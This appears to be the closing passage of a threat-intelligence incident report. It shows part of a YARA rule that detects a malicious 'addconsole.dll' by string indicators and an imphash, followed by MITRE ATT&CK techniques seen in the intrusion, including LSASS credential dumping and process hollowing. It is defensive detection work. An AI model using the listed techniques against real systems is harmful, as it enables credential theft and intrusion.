$s1 = "addconsole.dll" fullword wide
$s2 = "C:\\Wrk\\mFiles\\86\\1\\Release\\addconsole.pdb" fullword ascii
$s3 = ">->3>D>}>" fullword ascii /* hex encoded string '=' */
$s4 = "kmerjgyuhwjvueruewghgsdpdeo" fullword ascii
$s5 = "~DMUlA].JVJ,[2^>O" fullword ascii
$s6 = "xgF.lxh" fullword ascii
$s7 = "2.0.0.11" fullword wide
$s8 = "aripwx" fullword ascii
$s9 = "YwTjoq1" fullword ascii
$s10 = "LxDgEm0" fullword ascii
$s11 = "rvrpsn" fullword ascii
$s12 = "qb\"CTUAA~." fullword ascii
$s13 = ":,7;\"/1/= 1!'4'(&*?/:--(-(!1(&9JVJVMO\\JBSBS[UBT_JHC@GLZMA\\QKUKVj{
$s14 = ":,(9,=1?$2%06=:=*<'+2?!?-00!17$7XVZO_J]]X]XQAXVIZFZF]_LZRCRCKERDozxs
$s15 = "Time New Roman" fullword ascii
$s16 = "gL:hdwKR8T" fullword ascii
$s17 = "NwQvL?_" fullword ascii
$s18 = "TEAqQ>W/" fullword ascii
$s19 = "+mnHy<m8" fullword ascii
$s20 = "uTVWh-F@" fullword ascii
condition:
```

```
uint16(0) == 0x5a4d and filesize < 2000KB and
( pe.imphash() == "ae9182174b5c4afd59b9b6502df5d8a1" or 8 of them )
}
```

MITRE

T1055.012 – Process Injection: Process Hollowing
T1053.005 – Scheduled Task/Job: Scheduled Task
T1059.001 – Command and Scripting Interpreter: PowerShell
T1071.001 – Application Layer Protocol: Web Protocols
T1003.001 – OS Credential Dumping: LSASS Memory
T1444 – Masquerade as Legitimate Application
T1069 – Permission Groups Discovery
T1018 – Remote System Discovery
T1082 – System Information Discovery
T1016 – System Network Configuration Discovery
T1033 – System Owner/User Discovery
T1482 – Domain Trust Discovery
T1134 – Access Token Manipulation
T1105 – Ingress Tool Transfer
T1046 – Network Service Scanning
T1047 – Windows Management Instrumentation

Internal case #4778

Share this:

Twitter LinkedIn Reddit Facebook WhatsApp

« BAZARCALL TO CONTI RANSOMWARE VIA TRICKBOT AND COBALT STRIKE

COBALT STRIKE, A DEFENDER'S GUIDE »

Search …	Search

Type your email…	Subscribe

Register For Our Next CTF

Reports

Threat Intelligence

Detection Rules

DFIR Labs

Mentoring and Coaching